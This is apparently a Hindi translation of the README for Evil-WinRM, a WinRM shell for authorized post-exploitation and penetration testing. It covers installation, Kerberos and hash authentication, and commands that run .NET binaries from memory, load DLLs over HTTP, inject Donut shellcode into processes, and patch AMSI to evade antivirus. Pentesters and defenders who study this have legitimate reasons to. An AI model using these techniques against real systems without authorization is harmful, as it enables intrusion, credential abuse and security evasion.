
हैकिंग/पेंटेस्टिंग के लिए सर्वश्रेष्ठ WinRM शेल
हैकिंग/पेंटेस्टिंग के लिए अंतिम WinRM शेल

यह शेल हैकिंग/पेंटेस्टिंग के लिए अंतिम WinRM शेल है।
WinRM (Windows Remote Management) WS-Management प्रोटोकॉल का Microsoft कार्यान्वयन है। यह एक मानक SOAP-आधारित प्रोटोकॉल है जो विभिन्न विक्रेताओं के हार्डवेयर और ऑपरेटिंग सिस्टम को इंटरऑपरेट करने की अनुमति देता है। Microsoft ने इसे अपने ऑपरेटिंग सिस्टम में शामिल किया ताकि सिस्टम एडमिनिस्ट्रेटरों का जीवन आसान हो सके।
इस प्रोग्राम का उपयोग किसी भी Microsoft Windows सर्वर पर किया जा सकता है जिसमें यह सुविधा सक्षम हो (आमतौर पर पोर्ट 5985 पर), बेशक केवल तभी जब आपके पास इसका उपयोग करने के लिए क्रेडेंशियल और अनुमतियाँ हों। इसलिए हम कह सकते हैं कि इसका उपयोग पोस्ट-एक्सप्लॉइटेशन हैकिंग/पेंटेस्टिंग चरण में किया जा सकता है। इस प्रोग्राम का उद्देश्य हैकिंग के लिए अच्छी और उपयोग में आसान सुविधाएँ प्रदान करना है। इसका उपयोग सिस्टम एडमिनिस्ट्रेटरों द्वारा वैध उद्देश्यों के लिए भी किया जा सकता है, लेकिन इसकी अधिकांश सुविधाएँ हैकिंग/पेंटेस्टिंग चीज़ों पर केंद्रित हैं।
यह मुख्य रूप से WinRM Ruby लाइब्रेरी पर आधारित है, जिसने अपने संस्करण 2.0 के बाद से काम करने का तरीका बदल दिया। अब WinRM प्रोटोकॉल का उपयोग करने के बजाय, यह रनस्पेस पूल को इनिशियलाइज़ करने के साथ-साथ पाइपलाइन बनाने और प्रोसेस करने के लिए PSRP (Powershell Remoting Protocol) का उपयोग कर रहा है।
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message
## आवश्यकताएँ
Ruby 2.3 या उच्चतर की आवश्यकता है। कुछ ruby gems की भी आवश्यकता होती है: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`, `readline ~> 0.0.4`, `readline-ext ~> 0.2.0`।
आपकी इंस्टॉलेशन विधि (4 उपलब्ध) के आधार पर, इन्हें मैन्युअल रूप से इंस्टॉल करने की आवश्यकता हो सकती है।
एक और महत्वपूर्ण आवश्यकता, जो केवल Kerberos प्रमाणीकरण के लिए उपयोग की जाती है, नेटवर्क प्रमाणीकरण के लिए उपयोग किए जाने वाले Kerberos पैकेज को इंस्टॉल करना है।
कुछ Linux जैसे Debian-आधारित (Kali, Parrot, आदि) के लिए इसे `krb5-user` कहा जाता है। BlackArch के लिए इसे `krb5` कहा जाता है और संभवतः अन्य Linux वितरणों के लिए इसे अलग तरीके से कहा जा सकता है।
रिमोट पाथ पूर्णता सुविधा के लिए मूल `readline-ext` बाइंडिंग की आवश्यकता होती है, जो Evil-WinRM निर्भरता के रूप में स्वचालित रूप से इंस्टॉल होती है। कुछ सिस्टमों को इसे संकलित करने के लिए अतिरिक्त विकास पैकेजों की आवश्यकता होती है। अधिक जानकारी के लिए [नीचे दिया गया अनुभाग](#Remote-path-completion) देखें।
## इंस्टॉलेशन और त्वरित प्रारंभ (4 विधियाँ)
### विधि 1. सीधे ruby gem के रूप में इंस्टॉलेशन (निर्भरताएँ आपके सिस्टम पर स्वचालित रूप से इंस्टॉल होंगी)
- चरण 1. इसे इंस्टॉल करें (यह स्वचालित रूप से निर्भरताएँ इंस्टॉल करेगा): ```gem install evil-winrm```
- चरण 2. तैयार। बस इसे लॉन्च करें!```
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
sudo gem install winrm winrm-fs stringio logger fileutils readline readline-extgit clone https://github.com/Hackplayers/evil-winrm.git### विधि 3. बंडलर का उपयोग करना (निर्भरताएँ आपके सिस्टम पर इंस्टॉल नहीं होंगी, केवल evil-winrm का उपयोग करने के लिए)
- चरण 1. बंडलर इंस्टॉल करें: `gem install bundler`
- चरण 2. रिपॉजिटरी क्लोन करें: `git clone https://github.com/Hackplayers/evil-winrm.git`
- चरण 3. बंडलर के साथ निर्भरताएँ इंस्टॉल करें: `cd evil-winrm && bundle install --path vendor/bundle`
- चरण 4. इसे बंडलर के साथ लॉन्च करें:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
## दस्तावेज़ीकरण
### स्पष्ट टेक्स्ट पासवर्ड
यदि आप पासवर्ड को स्पष्ट टेक्स्ट में नहीं रखना चाहते हैं, तो आप वैकल्पिक रूप से `-p` तर्क सेट करने से बच सकते हैं और पासवर्ड प्रॉम्प्ट किया जाएगा, जिससे इसे दिखने से रोका जा सके।
### IPv6
IPv6 का उपयोग करने के लिए, पता /etc/hosts में जोड़ा जाना चाहिए। बस `-i` तर्क के बाद IP पते के बजाय पहले से सेट किया गया होस्ट नाम रखें।
### बुनियादी कमांड
- **upload**: स्थानीय फ़ाइलों को टैब कुंजी का उपयोग करके ऑटो-कंप्लीट किया जा सकता है।
- उपयोग: `upload local_filename` या `upload local_filename destination_filename`
- **download**:
- उपयोग: `download remote_filename` या `download remote_filename destination_filename`
__पथों के बारे में नोट्स (upload/download)__:
डाउनलोड/अपलोड पर उपयोग के लिए सापेक्ष पथों की अनुमति नहीं है। वर्तमान निर्देशिका में फ़ाइल नाम या पूर्ण पथ का उपयोग करें।
यदि आप डॉकर वातावरण में Evil-WinRM का उपयोग कर रहे हैं, तो ध्यान रखें कि सभी स्थानीय पथ `/data` पर होने चाहिए और सुनिश्चित करें कि आपने इसे वॉल्यूम के रूप में मैप किया है ताकि आप डाउनलोड की गई फ़ाइलों तक पहुंच सकें या अपने स्थानीय होस्ट O.S. से फ़ाइलें अपलोड कर सकें।
- **services**: सभी सेवाओं की सूची दिखाता है, यह दर्शाते हुए कि क्या आपके खाते के पास प्रत्येक सेवा पर अनुमतियाँ हैं। इस सुविधा का उपयोग करने के लिए व्यवस्थापक अनुमतियों की आवश्यकता नहीं है।
- **menu**: `Invoke-Binary`, `Dll-Loader` और `Donut-Loader` फ़ंक्शन लोड करता है, जिन्हें हम नीचे समझाएंगे। जब एक ps1 लोड होता है, तो उसके सभी फ़ंक्शन दिखाए जाएंगे।
- **clear** या **cls**: टर्मिनल स्क्रीन साफ़ करता है। आप स्क्रीन साफ़ करने के लिए `Ctrl+L` कीबोर्ड शॉर्टकट का भी उपयोग कर सकते हैं।
- **exit** या **quit**: Evil-WinRM सत्र बंद करता है। आप `Ctrl+D` कीबोर्ड शॉर्टकट का भी उपयोग कर सकते हैं।```
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit
किसी ps1 फ़ाइल को लोड करने के लिए आपको बस नाम टाइप करना होता है (टैब का उपयोग करके ऑटो-कम्प्लीशन की अनुमति है)। स्क्रिप्ट्स उस पथ पर होनी चाहिए जो -s तर्क में सेट किया गया है। मेनू फिर से टाइप करें और लोड किए गए फ़ंक्शन देखें। बहुत बड़ी फ़ाइलों को लोड होने में लंबा समय लग सकता है।```
Evil-WinRM PS C:> PowerView.ps1
Evil-WinRM PS C:> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ')
_ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| /
/ / / / /
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember
### उन्नत कमांड
- Invoke-Binary: .Net असेंबली को मेमोरी में निष्पादित करने की अनुमति देता है। नाम को टैब कुंजी का उपयोग करके स्वतः पूर्ण किया जा सकता है। exe फ़ाइल के लिए तर्क अल्पविराम से अलग करके पास किए जा सकते हैं। उदाहरण: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`। निष्पादन योग्य फ़ाइलें `-e` तर्क पर निर्धारित पथ में होनी चाहिए।```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
Dll-Loader: मेमोरी में dll लाइब्रेरी लोड करने की अनुमति देता है, यह इसके बराबर है: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
dll फ़ाइल smb, http या स्थानीय रूप से होस्ट की जा सकती है। एक बार लोड हो जाने पर menu टाइप करें, फिर सभी फ़ंक्शनों को ऑटोकंप्लीट करना संभव है।```
Evil-WinRM PS C:> Dll-Loader
.SYNOPSIS
dll loader.
PowerShell Function: Dll-Loader
Author: Hector de Armas (3v4Si0N)
Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll
Function that loads an arbitrary dll
Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu
[... Snip ...]
Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64
- Donut-Loader: [donut] तकनीक से उत्पन्न x64 पेलोड इंजेक्ट करने की अनुमति देता है। payload.bin को एन्कोड करने की आवश्यकता नहीं है, बस जनरेट करें और इंजेक्ट करें!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
आप इस donut-maker का उपयोग payload.bin उत्पन्न करने के लिए कर सकते हैं यदि आप Windows का उपयोग नहीं करते हैं। यह स्क्रिप्ट Marcello Salvati (byt3bl33d3r) द्वारा लिखित एक python मॉड्यूल का उपयोग करती है। इसे pip का उपयोग करके स्थापित किया जा सकता है: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe
.'/,-Y" "-.
l.Y ^.
/\ __ Donuts!
i /" "
| /" "\ o !
l ] o !./
\ _ _ .__./ "
X / \ _./
( \ . ..--" ~" /
Y \ /
| "x.^
| -. Z,-- /
__. ( / ______)
\ l /-----
j Y
[+] Donut generated successfully: payload.bin
- Bypass-4MSI: AMSI सुरक्षा को पैच करता है।```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
पहले आपको DC के साथ तारीख सिंक करनी होगी: rdate -n <dc_ip>
टिकट जनरेट करने के कई तरीके हैं:
टिकट फ़ाइल जोड़ें। 3 तरीके हैं:
export KRB5CCNAME=/foo/var/ticket.ccache
cp ticket.ccache /tmp/krb5cc_0
-K पैरामीटर का उपयोग करें: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache या evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi
-K का उपयोग करते समय, टूल स्वचालित रूप से:
KRB5CCNAME पर्यावरण चर सेट करेगा/etc/krb5.conf में realm जोड़ें (linux के लिए)। इस प्रारूप का उपयोग करना महत्वपूर्ण है: ```
CONTOSO.COM = {
kdc = fooserver.contoso.com
}
klist के साथ Kerberos टिकट जांचें
टिकट हटाने के लिए उपयोग करें: kdestroy
Kerberos के बारे में अधिक जानकारी के लिए यह cheatsheet देखें
इस सुविधा के लिए नेटिव readline-ext बाइंडिंग की आवश्यकता होती है। Evil-WinRM इसे एक निर्भरता के रूप में घोषित करता है, इसलिए RubyGems या Bundler का उपयोग करते समय यह स्वचालित रूप से इंस्टॉल हो जाता है। यदि नेटिव एक्सटेंशन बिल्ड नहीं हो पाता है, तो यह सुविधा काम नहीं करेगी (एक चेतावनी दिखाई जाएगी)।
Ruby 3.3+ नोट:
ext/readline को Ruby के सोर्स से 3.3 में हटा दिया गया था (Feature #19616)। इसलिए, नीचे दी गई विधि 1 का उपयोग Ruby 3.3 या नए संस्करणों के साथ नहीं किया जा सकता। Debian-आधारित सिस्टम पर, Evil-WinRM या इसकी निर्भरताओं को इंस्टॉल करने से पहले आवश्यक डेवलपमेंट पैकेज इंस्टॉल करें:```
sudo apt install libreadline-dev
`readline-ext` निर्भरता `require 'readline'` को GNU Readline लोड करने के लिए बाध्य करती है, न कि `reline` को, जिसमें `quoting_detection_proc` का अभाव है—यह वह विधि है जिसे Evil-WinRM जाँचता है। नीचे दी गई विधियाँ पुराने Ruby संस्करणों को लक्षित करती हैं और संगतता के लिए रखी गई हैं।
#### विधि 1 (आवश्यक एक्सटेंशन संकलित करें)
इस विधि का उपयोग करके आप आवश्यक readline सुविधा के साथ ruby संकलित करेंगे, लेकिन केवल लाइब्रेरी का उपयोग करने के लिए, बिना अपने सिस्टम के डिफ़ॉल्ट ruby संस्करण को बदले। इस कारण से, यह सबसे अनुशंसित विधि है।
मान लीजिए कि आपके Debian-आधारित सिस्टम पर ruby 2.7.3 स्थापित है:```
# Install needed package
apt install libreadline-dev
# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
# Extract source code
tar -xf ruby-2.7.3.tar.gz
# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make
# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
मान लीजिए कि आप Debian आधारित Linux पर ruby 2.7.1 चाहते हैं और आप zsh का उपयोग कर रहे हैं। यह स्क्रिप्ट इसे स्वचालित कर देगी। आपको इसे उसी निर्देशिका से चलाना होगा जहाँ evil-winrm.rb और Gemfile स्थित है (उदाहरण के लिए, git clone के बाद बनाई गई evil-winrm निर्देशिका):``` #!/usr/bin/env zsh
sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q
sudo apt install rbenv
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1
rbenv local 2.7.1
gem install bundler bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"
sudo chmod +x /usr/bin/evil-winrm
फिर आप नए इंस्टॉल किए गए ruby का उपयोग करके किसी भी स्थान से आवश्यक readline समर्थन के साथ सुरक्षित रूप से evil-winrm लॉन्च कर सकते हैं।
#### विधि 3 (पूरा ruby संकलित करें)
यदि आप इसे स्वयं संकलित करना चाहते हैं, तो आप इन चरणों का पालन कर सकते हैं। मान लीजिए कि आप ruby 2.7.3 चाहते हैं:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
आपके सिस्टम के आधार पर यह /opt/rubies/ruby-2.7.3 या शायद ~/.rubies/ruby-2.7.3 पर इंस्टॉल होगा।
अब बस नए इंस्टॉल किए गए ruby संस्करण के लिए evil-winrm की निर्भरताएँ इंस्टॉल करनी हैं। सबसे आसान तरीका है कमांड /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm चलाना। उपयोग किया गया gem कमांड नए ruby इंस्टॉलेशन का होना चाहिए।
उसके बाद, आप evil-winrm पर उपयोग करने के लिए अपने नए इंस्टॉल किए गए ruby को सुरक्षित रूप से लॉन्च कर सकते हैं: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h
यह अनुशंसित है कि इस नए इंस्टॉल किए गए ruby का उपयोग केवल evil-winrm लॉन्च करने के लिए करें। यदि आप इसे अपने सिस्टम के लिए डिफ़ॉल्ट ruby के रूप में सेट करते हैं, तो ध्यान रखें कि इसमें कोई निर्भरता gem इंस्टॉल नहीं है। Metasploit या अन्य जैसे कुछ ruby-आधारित सॉफ़्टवेयर निर्भरता समस्याओं के कारण सही ढंग से प्रारंभ नहीं हो सकते हैं।
यह सुविधा आपकी $HOME निर्देशिका पर फ़ाइलें बनाएगी जो WinRM सत्रों के कमांड और आउटपुट सहेजेंगी।
Evil-WinRM प्रत्येक होस्ट और उपयोगकर्ता संयोजन के लिए एक स्थायी कमांड इतिहास बनाए रखता है। इतिहास ~/.evil-winrm/history/ निर्देशिका में {host}_{user}.hist नाम की फ़ाइलों के रूप में संग्रहीत किया जाता है।
जब आप किसी ऐसी मशीन से कनेक्ट करते हैं जिसे आपने पहले एक्सेस किया है, तो आप अपने पिछले कमांड को नेविगेट करने के लिए तीर कुंजियों (ऊपर/नीचे) का उपयोग कर सकते हैं। इतिहास प्रत्येक कमांड निष्पादन के बाद स्वचालित रूप से सहेजा जाता है और जब आप उसी उपयोगकर्ता के साथ उसी होस्ट से पुनः कनेक्ट होते हैं तो लोड होता है।
कभी-कभी, आपको इस तरह की त्रुटि का सामना करना पड़ सकता है:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error
यह त्रुटि इसलिए होती है क्योंकि OpenSSL 3.0 संस्करण ने कुछ पुराने (legacy) फ़ंक्शन जैसे MD4 को हटा दिया है, जो इस टूल को चलाने के लिए आवश्यक हैं। इस स्थिति से निपटने के लिए कई मौजूदा समाधान (workarounds) हैं:
- अपने सिस्टम को नवीनतम संस्करण में अपडेट करें। संभवतः, यह समस्या नवीनतम Ruby संस्करणों पर स्वचालित रूप से ठीक हो गई है जो नए OpenSSL संस्करणों का उपयोग कर रहे हैं।
- OpenSSL 3.0 के बजाय पुराने OpenSSL 1.x का उपयोग करके अपनी खुद की Ruby संकलित (compile) करें, या समस्याग्रस्त 3.0 संस्करण से बचने के लिए इसे OpenSSL > 3.0 के साथ संकलित करें।
- सबसे आसान तरीका। अपनी `/etc/ssl/openssl.cnf` कॉन्फ़िग फ़ाइल को संपादित करें और सुनिश्चित करें कि कॉन्फ़िग इस प्रकार है:```
openssl_conf = openssl_init
[openssl_init]
providers = provider_sect
[provider_sect]
default = default_sect
legacy = legacy_sect
[default_sect]
activate = 1
[legacy_sect]
activate = 1
evil-tls.conf। उसके बाद, सिस्टम को इसका उपयोग करने के लिए बाध्य करने हेतु एक environment var निर्यात करें: export OPENSSL_CONF="/path/to/evil-tls.conf"। और फिर टूल लॉन्च करें, त्रुटि गायब हो जाएगी।चेंजलॉग और प्रोजेक्ट परिवर्तन यहाँ देखे जा सकते हैं: CHANGELOG.md
स्टाफ़:
विशेष धन्यवाद:
यह स्क्रिप्ट LGPLv3+ के तहत लाइसेंस प्राप्त है। सीधा लिंक License।
Evil-WinRM का उपयोग केवल अधिकृत पेनेट्रेशन टेस्टिंग और/या गैर-लाभकारी शैक्षिक उद्देश्यों के लिए किया जाना चाहिए। इस सॉफ़्टवेयर के किसी भी दुरुपयोग की ज़िम्मेदारी लेखक या किसी अन्य सहयोगी की नहीं होगी। इसे अपने स्वयं के सर्वर पर और/या सर्वर मालिक की अनुमति से उपयोग करें।